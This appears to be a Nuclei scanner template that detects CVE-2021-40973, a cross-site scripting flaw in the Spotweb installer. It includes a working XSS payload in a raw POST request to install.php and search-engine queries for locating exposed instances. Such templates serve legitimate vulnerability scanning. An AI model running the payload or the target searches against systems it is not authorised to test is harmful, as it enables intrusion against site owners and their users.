Spotweb <= 1.5.1 - Cross Site Scripting

id: CVE-2021-40973

info:
  name: Spotweb <= 1.5.1 - Cross Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    Cross-site scripting (XSS) vulnerability in templates/installer/step-004.inc.php in spotweb 1.5.1 and below allow remote attackers to inject arbitrary web script or HTML via the lastname parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 1.5.2
  reference:
    - https://github.com/spotweb/spotweb/
    - https://github.com/spotweb/spotweb/issues/711
    - https://nvd.nist.gov/vuln/detail/CVE-2021-40973
    - https://github.com/spotweb/spotweb
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-40973
    cwe-id: CWE-79
    epss-score: 0.00152
    epss-percentile: 0.51404
    cpe: cpe:2.3:a:spotweb_project:spotweb:*:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: spotweb_project
    product: spotweb
    shodan-query:
      - title:"SpotWeb - overview"
      - http.title:"spotweb - overview"
    fofa-query: title="spotweb - overview"
    google-query: intitle:"spotweb - overview"
  tags: cve2021,cve,xss,spotweb,spotweb_project

http:
  - raw:
      - |
        POST /install.php?page=4 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        settingsform[lastname]=pdteam'+onclick='alert(document.domain)

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "onclick='alert(document.domain)"
          - "Spotweb"
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201ca00d8be538bae205664cba3d1222a87b8e7d56e7cbe312ddc971211b8ee19f022100975a1b10d19af5af7b24c6ab170f34bdaa5856ac7075aaffad8997b7cdfbb09e:922c64590222798bb761d5b6d8e72950